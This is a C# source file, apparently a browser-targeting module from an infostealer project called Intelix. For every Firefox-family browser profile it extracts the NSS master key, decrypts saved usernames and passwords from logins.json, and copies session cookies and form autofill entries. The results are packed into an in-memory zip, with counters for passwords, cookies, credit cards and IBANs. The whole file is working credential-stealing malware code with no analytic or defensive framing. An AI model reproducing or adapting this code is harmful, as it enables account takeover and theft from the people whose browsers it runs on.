using System;
using System.Collections.Concurrent;
using System.IO;
using System.Linq;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using Intelix.Helper.Data;
using Intelix.Helper.Encrypted;
using Intelix.Helper.Sql;

namespace Intelix.Targets.Browsers;

public class Gecko : ITarget
{
	public void Collect(InMemoryZip zip, Counter counter)
	{
		Parallel.ForEach(Paths.Gecko, delegate(string browser)
		{
			if (Directory.Exists(browser))
			{
				Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile)
				{
					ProfileCollect(zip, counter, browser, profile);
				});
			}
		});
	}

	private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile)
	{
		_ = browser + "\\Local State";
		string browsername = Paths.GetBrowserName(browser);
		string profilename = Path.GetFileName(profile);
		Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser();
		counterBrowser.Profile = profile;
		counterBrowser.BrowserName = browsername;
		Task.WaitAll(Task.Run(delegate
		{
			Password(zip, counterBrowser, profile, profilename, browsername);
		}), Task.Run(delegate
		{
			Cookies(zip, counterBrowser, profile, profilename, browsername);
		}), Task.Run(delegate
		{
			AutoFill(zip, counterBrowser, profile, profilename, browsername);
		}));
		if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L)
		{
			counter.Browsers.Add(counterBrowser);
		}
	}

	private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
	{
		string path = Path.Combine(profile, "logins.json");
		if (!File.Exists(path))
		{
			return;
		}
		string path2 = Path.Combine(profile, "key4.db");
		string path3 = Path.Combine(profile, "key3.db");
		byte[] masterKey = null;
		if (File.Exists(path2))
		{
			masterKey = NssDumpMasterKey.Key4Database(path2);
		}
		else if (File.Exists(path3))
		{
			masterKey = NssDumpMasterKey.Key3Database(path3);
		}
		if (masterKey == null && !NSSDecryptor.Initialize(profile))
		{
			return;
		}
		string text = File.ReadAllText(path);
		if (string.IsNullOrEmpty(text))
		{
			return;
		}
		MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline);
		if (matchCollection.Count == 0)
		{
			return;
		}
		ConcurrentBag<string> lines = new ConcurrentBag<string>();
		Parallel.ForEach(matchCollection.Cast<Match>(), delegate(Match match)
		{
			string value = match.Groups[1].Value;
			string value2 = match.Groups[2].Value;
			string value3 = match.Groups[3].Value;
			string text2 = "";
			string text3 = "";
			if (masterKey == null)
			{
				text2 = NSSDecryptor.Decrypt(value2);
				text3 = NSSDecryptor.Decrypt(value3);
			}
			else
			{
				Asn1Der asn1Der = new Asn1Der();
				byte[] toParse = Convert.FromBase64String(value2);
				byte[] toParse2 = Convert.FromBase64String(value3);
				Asn1DerObject asn1DerObject = asn1Der.Parse(toParse);
				Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2);
				byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data;
				byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data;
				byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data;
				byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data;
				text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2);
				text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4);
			}
			text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", ""));
			text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", ""));
			if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3))
			{
				lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n");
				++counterBrowser.Password;
			}
		});
		zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
	}

	private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
	{
		string text = Path.Combine(profile, "cookies.sqlite");
		if (!File.Exists(text))
		{
			return;
		}
		SqLite sSqLite = SqLite.ReadTable(text, "moz_cookies");
		if (sSqLite == null)
		{
			return;
		}
		ConcurrentBag<string> lines = new ConcurrentBag<string>();
		Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
		{
			try
			{
				string value = sSqLite.GetValue(i, 3);
				string value2 = sSqLite.GetValue(i, 4);
				string value3 = sSqLite.GetValue(i, 2);
				string value4 = sSqLite.GetValue(i, 5);
				string value5 = sSqLite.GetValue(i, 6);
				if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5))
				{
					string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n";
					lines.Add(item);
					++counterBrowser.Cookies;
				}
			}
			catch
			{
			}
		});
		zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
	}

	private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername)
	{
		string text = Path.Combine(profile, "formhistory.sqlite");
		if (!File.Exists(text))
		{
			return;
		}
		SqLite sSqLite = SqLite.ReadTable(text, "moz_formhistory");
		if (sSqLite == null)
		{
			return;
		}
		ConcurrentBag<string> lines = new ConcurrentBag<string>();
		Parallel.For(0, sSqLite.GetRowCount(), delegate(int i)
		{
			try
			{
				string value = sSqLite.GetValue(i, 1);
				string value2 = sSqLite.GetValue(i, 2);
				if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value))
				{
					string item = "Name: " + value + "\nValue: " + value2 + "\n\n";
					lines.Add(item);
					++counterBrowser.AutoFill;
				}
			}
			catch
			{
			}
		});
		zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList()));
	}
}